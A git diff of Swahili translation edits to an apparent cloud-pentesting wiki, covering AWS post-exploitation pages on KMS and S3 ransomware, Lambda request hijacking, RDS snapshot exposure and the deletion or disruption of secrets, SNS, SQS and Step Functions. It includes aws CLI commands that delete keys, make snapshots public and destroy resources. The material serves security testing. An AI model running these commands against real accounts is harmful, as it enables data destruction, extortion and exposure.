ufikiaji kwa akaunti ya awali, huwezi**.
@@ -100,14 +100,12 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ #### Global KMS Ransomware -Kuna njia nyingine ya kutekeleza KMS Ransomware ya kimataifa, ambayo itahusisha hatua zifuatazo: +Kuna njia nyingine ya kutekeleza Global KMS Ransomware, ambayo itahusisha hatua zifuatazo: - Kuunda **funguo mpya na nyenzo za funguo** zilizoorodheshwa na mshambuliaji - **Kurejesha data za zamani** zilizofichwa na toleo la awali na ile mpya. - **Futa funguo za KMS** -- Sasa ni mshambuliaji tu, ambaye ana nyenzo za funguo za awali anaweza kufichua data iliyofichwa - -### Destroy keys +- Sasa ni mshambuliaji tu, ambaye ana nyenzo za funguo za awali anaweza kufichua data zilizofichwa ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab @@ -118,7 +116,7 @@ aws kms schedule-key-deletion \ --pending-window-in-days 7 ``` > [!CAUTION] -> Kumbuka kwamba AWS sasa **inasitisha hatua zilizopita kutekelezwa kutoka akaunti tofauti:** +> Kumbuka kwamba AWS sasa **inazuia hatua za awali kufanywa kutoka akaunti tofauti:**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index a859230df..b5a85ed74 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md ### Kuiba Maombi ya URL ya Lambda za Wengine & Maombi ya Extensions -Kunyanyasa Lambda Layers pia inawezekana kunyanyasa extensions na kudumu katika lambda lakini pia kuiba na kubadilisha maombi. +Kutatiza Lambda Layers pia inawezekana kutatiza extensions na kudumu katika lambda lakini pia kuiba na kubadilisha maombi. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index b6d8b7ced..68ae6628e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -7,18 +7,18 @@

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

1. **Slicer** ni mchakato nje ya kontena ambao **inatuma** **maombi** kwa mchakato wa **init**. -2. Mchakato wa init unasikiliza kwenye bandari **9001** ukionyesha baadhi ya maeneo ya kuvutia: +2. Mchakato wa init unasikiliza kwenye bandari **9001** ukifichua baadhi ya maeneo ya kuvutia: - **`/2018-06-01/runtime/invocation/next`** – pata tukio la maombi linalofuata - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – rudisha jibu la handler kwa ombi - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – rudisha kosa la utekelezaji -3. **bootstrap.py** ina mzunguko unaopata maombi kutoka kwa mchakato wa init na inaita msimbo wa watumiaji kushughulikia hayo (**`/next`**). +3. **bootstrap.py** ina mzunguko unaopata maombi kutoka kwa mchakato wa init na inaita msimbo wa watumiaji kushughulikia maombi hayo (**`/next`**). 4. Hatimaye, **bootstrap.py** inatuma kwa init **jibu** Kumbuka kwamba bootstrap inachukua msimbo wa mtumiaji kama moduli, hivyo utekelezaji wowote wa msimbo unaofanywa na msimbo wa watumiaji unafanyika katika mchakato huu. ## Kuiba Maombi ya Lambda -Lengo la shambulio hili ni kufanya msimbo wa watumiaji utekeleze mchakato mbaya wa **`bootstrap.py`** ndani ya mchakato wa **`bootstrap.py`** ambao unashughulikia ombi lenye udhaifu. Kwa njia hii, mchakato wa **bootstrap mbaya** utaanza **kuzungumza na mchakato wa init** ili kushughulikia maombi wakati **bootstrap halali** ime **kwama** ikikimbia ile mbaya, hivyo haitahitaji maombi kwa mchakato wa init. +Lengo la shambulio hili ni kufanya msimbo wa watumiaji utekeleze mchakato mbaya wa **`bootstrap.py`** ndani ya mchakato wa **`bootstrap.py`** unaoshughulikia ombi lenye udhaifu. Kwa njia hii, mchakato wa **bootstrap mbaya** utaanza **kuzungumza na mchakato wa init** ili kushughulikia maombi wakati **bootstrap halali** ime **kwama** ikifanya mchakato mbaya, hivyo haitahitaji maombi kwa mchakato wa init. Hii ni kazi rahisi kufanikisha kwani msimbo wa mtumiaji unatekelezwa na mchakato halali wa **`bootstrap.py`**. Hivyo mshambuliaji anaweza: diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md index c5618f660..a5c1ab4c4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md @@ -10,18 +10,18 @@ Kwa maelezo zaidi, angalia: ../aws-services/aws-lightsail-enum.md {{#endref}} -### Restore old DB snapshots +### Rejesha picha za zamani za DB -Ikiwa DB ina snapshots, unaweza kuwa na uwezo wa **kupata taarifa nyeti ambazo kwa sasa zimefutwa katika snapshots za zamani**. **Rejesha** snapshot katika **database mpya** na uichunguze. +Ikiwa DB ina picha, unaweza kuwa na uwezo wa **kupata taarifa nyeti ambazo kwa sasa zimefutwa katika picha za zamani**. **Rejesha** picha hiyo katika **databasi mpya** na uichunguze. -### Restore Instance Snapshots +### Rejesha Picha za Instance -Instance snapshots zinaweza kuwa na **taarifa nyeti** za instances ambazo tayari zimefutwa au taarifa nyeti ambazo zimefutwa katika instance ya sasa. **Unda instances mpya kutoka kwa snapshots** na uziangalie.\ -Au **export snapshot kwa AMI katika EC2** na ufuate hatua za instance ya kawaida ya EC2. +Picha za instance zinaweza kuwa na **taarifa nyeti** za instances ambazo tayari zimefutwa au taarifa nyeti ambazo zimefutwa katika instance ya sasa. **Unda instances mpya kutoka kwa picha hizo** na uziangalie.\ +Au **hamasisha picha hiyo kuwa AMI katika EC2** na ufuate hatua za instance ya kawaida ya EC2. -### Access Sensitive Information +### Fikia Taarifa Nyeti -Angalia chaguzi za privesc za Lightsail kujifunza njia tofauti za kupata taarifa nyeti zinazoweza kuwepo: +Angalia chaguzi za privesc za Lightsail kujifunza njia tofauti za kufikia taarifa nyeti zinazoweza kuwepo: {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md index 136a34e0a..8b6f6b713 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md @@ -10,7 +10,7 @@ Kwa maelezo zaidi kuhusu AWS Organizations angalia: ../aws-services/aws-organizations-enum.md {{#endref}} -### Leave the Org +### Ondoka kwenye Org ```bash aws organizations deregister-account --account-id --region ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index 797289ede..2cdc7fc8c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Mshambuliaji mwenye ruhusa hizi anaweza **kuunda picha ya DB** na kuifanya **ipatikane** **hadharani**. Kisha, anaweza tu kuunda katika akaunti yake mwenyewe DB kutoka kwa picha hiyo. +Mshambuliaji mwenye ruhusa hizi anaweza **kuunda snapshot ya DB** na kuifanya **ipatikane** **hadharani**. Kisha, anaweza tu kuunda katika akaunti yake mwenyewe DB kutoka kwa snapshot hiyo. -Ikiwa mshambuliaji **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya **picha** nyingine zilizoundwa **kuwa za hadharani**. +Ikiwa mshambuliaji **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya **snapshots** nyingine zilizoundwa kuwa **hadharani**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Mshambuliaji mwenye ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **kupakua sehemu za faili za kumbukumbu za mfano wa RDS**. Ikiwa data nyeti au akreditii za ufikiaji zimeandikwa kwa bahati mbaya, mshambuliaji anaweza kutumia taarifa hii kuongeza mamlaka yao au kufanya vitendo visivyoidhinishwa. +Mshambuliaji mwenye ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **kupakua sehemu za faili za logi za RDS**. Ikiwa data nyeti au akreditivu za ufikiaji zimeandikwa kwa bahati mbaya, mshambuliaji anaweza kutumia taarifa hii kuongeza mamlaka yao au kufanya vitendo visivyoidhinishwa. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` @@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance -- ### `rds:DeleteDBInstance` -Mshambuliaji mwenye ruhusa hizi anaweza **kusababisha DoS kwa mifano ya RDS iliyopo**. +Mshambuliaji mwenye ruhusa hizi anaweza **kusababisha DoS kwa RDS instances zilizopo**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index f245c2fde..293aad7ec 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -12,24 +12,24 @@ Kwa maelezo zaidi angalia: ### Taarifa Nyeti -Wakati mwingine utaweza kupata taarifa nyeti zinazoweza kusomwa katika mabakuli. Kwa mfano, siri za hali ya terraform. +Wakati mwingine utaweza kupata taarifa nyeti zinazoweza kusomwa katika makundi. Kwa mfano, siri za hali ya terraform. ### Pivoting -Majukwaa tofauti yanaweza kuwa yanatumia S3 kuhifadhi mali nyeti.\ -Kwa mfano, **airflow** inaweza kuwa inahifadhi **DAGs** **code** humo, au **kurasa za wavuti** zinaweza kutolewa moja kwa moja kutoka S3. Mshambuliaji mwenye ruhusa za kuandika anaweza **kubadilisha msimbo** kutoka kwenye bakuli ili **pivot** kwa majukwaa mengine, au **kuchukua akaunti** kwa kubadilisha faili za JS. +Majukwaa tofauti yanaweza kutumia S3 kuhifadhi mali nyeti.\ +Kwa mfano, **airflow** inaweza kuwa inahifadhi **DAGs** **code** humo, au **kurasa za wavuti** zinaweza kutolewa moja kwa moja kutoka S3. Mshambuliaji mwenye ruhusa za kuandika anaweza **kubadilisha code** kutoka kwenye kundi ili **pivot** kwa majukwaa mengine, au **kuchukua akaunti** kwa kubadilisha faili za JS. ### S3 Ransomware -Katika hali hii, **mshambuliaji anaunda funguo ya KMS (Key Management Service) katika akaunti yake ya AWS** au akaunti nyingine iliyovunjwa. Kisha wanafanya **funguo hii ipatikane kwa mtu yeyote duniani**, ikiruhusu mtumiaji yeyote wa AWS, jukumu, au akaunti kuandika vitu kwa kutumia funguo hii. Hata hivyo, vitu haviwezi kufichuliwa. +Katika hali hii, **mshambuliaji anaunda funguo ya KMS (Key Management Service) katika akaunti yake ya AWS** au akaunti nyingine iliyovunjwa. Kisha wanafanya **funguo hii ipatikane kwa mtu yeyote duniani**, ikiruhusu mtumiaji yeyote wa AWS, jukumu, au akaunti kuandika vitu kwa kutumia funguo hii. Hata hivyo, vitu haviwezi kufutwa. -Mshambuliaji anabaini lengo **S3 bucket na kupata ufikiaji wa kiwango cha kuandika** kwa kutumia mbinu mbalimbali. Hii inaweza kuwa kutokana na usanidi mbaya wa bakuli unaoonyesha hadharani au mshambuliaji kupata ufikiaji wa mazingira ya AWS yenyewe. Mshambuliaji kwa kawaida anawalenga mabakuli yanay contain taarifa nyeti kama vile taarifa zinazoweza kutambulika binafsi (PII), taarifa za afya zilizolindwa (PHI), kumbukumbu, nakala za akiba, na zaidi. +Mshambuliaji anabaini lengo **S3 bucket na kupata ufikiaji wa kiwango cha kuandika** kwa kutumia mbinu mbalimbali. Hii inaweza kuwa kutokana na usanidi mbaya wa kundi unaoonyesha hadharani au mshambuliaji kupata ufikiaji wa mazingira ya AWS yenyewe. Mshambuliaji kwa kawaida anawalenga makundi yanay contain taarifa nyeti kama vile taarifa zinazoweza kutambulika binafsi (PII), taarifa za afya zilizolindwa (PHI), kumbukumbu, nakala za akiba, na zaidi. -Ili kubaini kama bakuli inaweza kulengwa kwa ransomware, mshambuliaji anachunguza usanidi wake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **muhimu ya uthibitisho wa hatua nyingi (MFA delete) imewezeshwa**. Ikiwa Object Versioning haijawezeshwa, mshambuliaji anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete haijawezeshwa, mshambuliaji anaweza **kuondoa Object Versioning**. Ikiwa zote Object Versioning na MFA delete zimewezeshwa, inakuwa vigumu zaidi kwa mshambuliaji kufanya ransomware kwenye bakuli hilo maalum. +Ili kubaini kama kundi linaweza kulengwa kwa ransomware, mshambuliaji anachunguza usanidi wake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **kuondoa uthibitisho wa hatua nyingi (MFA delete) kumewashwa**. Ikiwa Object Versioning haijawezeshwa, mshambuliaji anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete haijawashwa, mshambuliaji anaweza **kuondoa Object Versioning**. Ikiwa zote Object Versioning na MFA delete zimewezeshwa, inakuwa vigumu zaidi kwa mshambuliaji kufanya ransomware kwenye kundi hilo maalum. -Kwa kutumia AWS API, mshambuliaji **anabadilisha kila kitu katika bakuli na nakala iliyofichwa kwa kutumia funguo zao za KMS**. Hii inafanikisha kuficha data katika bakuli, na kuifanya isipatikane bila funguo. +Kwa kutumia AWS API, mshambuliaji **anabadilisha kila kitu katika kundi na nakala iliyofichwa kwa kutumia funguo zao za KMS**. Hii inafanikisha kuficha data katika kundi, na kuifanya isipatikane bila funguo. -Ili kuongeza shinikizo zaidi, mshambuliaji anapanga kufuta funguo ya KMS iliyotumika katika shambulio. Hii inampa lengo dirisha la siku 7 kurejesha data zao kabla funguo hiyo haijafutwa na data inakuwa imepotea milele. +Ili kuongeza shinikizo zaidi, mshambuliaji anapanga kufuta funguo ya KMS iliyotumika katika shambulio. Hii inampa lengo dirisha la siku 7 ili kurejesha data zao kabla funguo hiyo haijafutwa na data kuwa kupotea milele. Hatimaye, mshambuliaji anaweza kupakia faili ya mwisho, kwa kawaida inayoitwa "ransom-note.txt," ambayo ina maelekezo kwa lengo jinsi ya kurejesha faili zao. Faili hii inapakiwa bila kufichwa, labda ili kuvutia umakini wa lengo na kuwajulisha kuhusu shambulio la ransomware. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index 25ccf10db..d8118b0ce 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -1,8 +1,8 @@ -# AWS - Secrets Manager Post Exploitation +# AWS - Usimamizi wa Siri Baada ya Kutekeleza {{#include ../../../banners/hacktricks-training.md}} -## Secrets Manager +## Usimamizi wa Siri Kwa maelezo zaidi angalia: @@ -10,11 +10,11 @@ Kwa maelezo zaidi angalia: ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Read Secrets +### Soma Siri **siri zenyewe ni taarifa nyeti**, [angalia ukurasa wa privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kujifunza jinsi ya kuzisoma. -### DoS Change Secret Value +### Badilisha Thamani ya Siri kwa DoS Kubadilisha thamani ya siri unaweza **DoS mfumo wote unaotegemea thamani hiyo.** @@ -26,7 +26,7 @@ aws secretsmanager put-secret-value \ --secret-id MyTestSecret \ --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` -### DoS Badilisha ufunguo wa KMS +### DoS Badilisha funguo la KMS ```bash aws secretsmanager update-secret \ --secret-id MyTestSecret \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index 5a791d74f..b0731afa5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -17,7 +17,7 @@ Tuma barua pepe. aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` -Still to test. +Bado kupima. ### `ses:SendRawEmail` @@ -25,7 +25,7 @@ Tuma barua pepe. ```bash aws ses send-raw-email --raw-message file://message.json ``` -Still to test. +Bado kujaribu. ### `ses:SendTemplatedEmail` @@ -33,29 +33,29 @@ Tuma barua pepe kulingana na kigezo. ```bash aws ses send-templated-email --source --destination --template ``` -Still to test. +Bado kujaribu. ### `ses:SendBulkTemplatedEmail` -Tuma barua pepe kwa marudio mengi +Tuma barua pepe kwa maeneo mengi ```bash aws ses send-bulk-templated-email --source --template ``` -Still to test. +Bado kujaribu. ### `ses:SendBulkEmail` -Tuma barua pepe kwa marudio mengi. +Tuma barua pepe kwa maeneo mengi. ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` ### `ses:SendBounce` -Tuma **barua ya kurudi** juu ya barua pepe iliyopokelewa (ikiashiria kwamba barua pepe haikuweza kupokelewa). Hii inaweza kufanywa **hadi masaa 24 baada ya kupokea** barua pepe. +Tuma **barua pepe ya kurudi** juu ya barua pepe iliyopokelewa (ikiashiria kwamba barua pepe haikuweza kupokelewa). Hii inaweza kufanywa **hadi masaa 24 baada ya kupokea** barua pepe. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` -Still to test. +Bado kujaribu. ### `ses:SendCustomVerificationEmail` @@ -64,6 +64,6 @@ Hii itatuma barua pepe ya uthibitisho iliyobinafsishwa. Unaweza kuhitaji ruhusa aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` -Bado kupima. +Bado kujaribu. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index 3fdf26cbe..4fc1fd8d5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -20,15 +20,15 @@ Mshambuliaji anaweza kufuta mada nzima ya SNS, na kusababisha kupotea kwa ujumbe ```bash aws sns delete-topic --topic-arn ``` -**Madhara Yanayoweza Kutokea**: Kupoteza ujumbe na usumbufu wa huduma kwa programu zinazotumia mada iliyofutwa. +**Madhara Yanayoweza Kutokea**: Kupotea kwa ujumbe na usumbufu wa huduma kwa programu zinazotumia mada iliyofutwa. ### `sns:Publish` -Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye mada ya SNS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali. +Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwa mada ya SNS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali. ```bash aws sns publish --topic-arn --message ``` -**Madhara Yanayoweza Kutokea**: Uharibifu wa data, vitendo visivyokusudiwa, au upungufu wa rasilimali. +**Madhara Yanayoweza Kutokea**: Uharibifu wa data, vitendo visivyokusudiwa, au matumizi mabaya ya rasilimali. ### `sns:SetTopicAttributes` @@ -54,9 +54,9 @@ Mshambuliaji anaweza kuwapa watumiaji au huduma zisizoidhinishwa ufikiaji wa mad aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` -**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mada, kufichuliwa kwa ujumbe, au upotoshaji wa mada na watumiaji au huduma zisizoidhinishwa, kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea mada. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mada, kufichuliwa kwa ujumbe, au upotoshaji wa mada na watumiaji au huduma zisizoidhinishwa, kuingilia kati kwa utendaji wa kawaida wa programu zinazotegemea mada hiyo. -### `sns:TagResource` , `sns:UntagResource` +### `sns:TagResource`, `sns:UntagResource` Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za SNS, kuingilia kati mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 377dad9ad..69b4df251 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -17,7 +17,7 @@ Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye foleni ya SQS, a aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**Madhara Yanayoweza Kutokea**: Ukatili wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au uchovu wa rasilimali. +**Madhara Yanayoweza Kutokea**: Ukatili wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au upungufu wa rasilimali. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` @@ -27,7 +27,7 @@ aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` -**Madhara Yanayoweza Kutokea**: Kuiba taarifa nyeti, Kupoteza ujumbe, uharibifu wa data, na usumbufu wa huduma kwa programu zinazotegemea ujumbe zilizoathiriwa. +**Madhara Yanayoweza Kutokea**: Kuiba taarifa nyeti, Kupoteza ujumbe, uharibifu wa data, na usumbufu wa huduma kwa programu zinazotegemea ujumbe zilizoathirika. ### `sqs:DeleteQueue` @@ -68,6 +68,6 @@ Mshambuliaji anaweza kubatilisha ruhusa za watumiaji halali au huduma kwa kuondo ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` -**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea foleni kutokana na kuondolewa kwa ruhusa zisizoidhinishwa. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea foleni kutokana na kuondolewa kwa ruhusa zisizoidhinishwa. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index 74d2843b1..79146b3a0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia: ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -Ruhusa hizi zinaweza kutumika kuharibu ruhusa: +Hizi ruhusa zinaweza kutumika kuharibu ruhusa: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 163f9e491..f95b737a3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -1,8 +1,8 @@ -# AWS - Step Functions Post Exploitation +# AWS - Hatua za Kazi Baada ya Utekelezaji {{#include ../../../banners/hacktricks-training.md}} -## Step Functions +## Hatua za Kazi Kwa maelezo zaidi kuhusu huduma hii ya AWS, angalia: @@ -18,13 +18,13 @@ Ruhusa hii inaruhusu **kufichua data ya siri ndani ya utekelezaji**. Ili kufanya ### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -Mshambuliaji mwenye ruhusa hizi angeweza kufuta kabisa mashine za hali, toleo zao, na majina. Hii inaweza kuharibu michakato muhimu, kusababisha kupoteza data, na kuhitaji muda mwingi kurekebisha na kurejesha mashine za hali zilizoathiriwa. Zaidi ya hayo, ingemruhusu mshambuliaji kuficha alama zilizotumika, kuharibu uchunguzi wa forensics, na kwa uwezekano kuathiri operesheni kwa kuondoa michakato muhimu ya automatisering na usanidi wa hali. +Mshambuliaji mwenye ruhusa hizi angeweza kufuta kabisa mashine za hali, toleo zao, na majina. Hii inaweza kuharibu michakato muhimu, kusababisha kupoteza data, na kuhitaji muda mwingi kurekebisha na kurejesha mashine za hali zilizoathirika. Zaidi ya hayo, ingemruhusu mshambuliaji kuficha alama zilizotumika, kuharibu uchunguzi wa forensics, na kwa uwezekano kuathiri shughuli kwa kuondoa michakato muhimu ya automatisering na usanidi wa hali. > [!NOTE] > -> - Kufuta mashine ya hali pia unafuta toleo zake zote zinazohusiana na majina. -> - Kufuta jina la mashine ya hali huondoi toleo za mashine ya hali zinazorejelea jina hili. -> - Haiwezekani kufuta toleo la mashine ya hali ambalo kwa sasa linarejelewa na moja au zaidi ya majina. +> - Kufuta mashine ya hali pia unafuta toleo zake zote na majina. +> - Kufuta jina la mashine ya hali huwezi kufuta toleo za mashine ya hali zinazohusiana na jina hili. +> - Haiwezekani kufuta toleo la mashine ya hali ambalo kwa sasa linarejelea na jina moja au zaidi. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn ### `states:UpdateMapRun` -Mshambuliaji mwenye ruhusa hii angeweza kubadilisha usanidi wa kushindwa kwa Ramani ya Kukimbia na mipangilio ya sambamba, akiwa na uwezo wa kuongeza au kupunguza idadi ya juu ya utekelezaji wa michakato ya watoto inayoruhusiwa, ikihusisha moja kwa moja na utendaji wa huduma. Zaidi ya hayo, mshambuliaji angeweza kuingilia kati asilimia na hesabu ya kushindwa inayokubalika, akiwa na uwezo wa kupunguza thamani hii hadi 0 ili kila wakati kipengele kinaposhindwa, ramani nzima ya kukimbia itashindwa, ikihusisha moja kwa moja na utekelezaji wa mashine ya hali na kwa uwezekano kuingilia kati michakato muhimu. +Mshambuliaji mwenye ruhusa hii angeweza kubadilisha usanidi wa kushindwa kwa Ramani ya Kukimbia na mipangilio ya sambamba, akiwa na uwezo wa kuongeza au kupunguza idadi ya juu ya utekelezaji wa michakato ya watoto inayoruhusiwa, ikihusisha moja kwa moja na utendaji wa huduma. Zaidi ya hayo, mshambuliaji angeweza kuingilia kati asilimia na hesabu ya kushindwa inayokubalika, akiwa na uwezo wa kupunguza thamani hii hadi 0 hivyo kila wakati kipengee kinaposhindwa, ramani nzima ya kukimbia ingeshindwa, ikihusisha moja kwa moja na utekelezaji wa mashine ya hali na kwa uwezekano kuingilia kati michakato muhimu. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` @@ -45,10 +45,10 @@ aws stepfunctions update-map-run --map-run-arn [--max-concurrency [!WARNING] -> Hatua hii hait supported na **express state machines**. +> Hatua hii haisaidiwi na **mashine za hali za haraka**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` @@ -56,7 +56,7 @@ aws stepfunctions stop-execution --execution-arn [--error ] [--ca ### `states:TagResource`, `states:UntagResource` -Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za Step Functions, kuingilia kati mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. +Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za Step Functions, akiharibu mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys diff --git 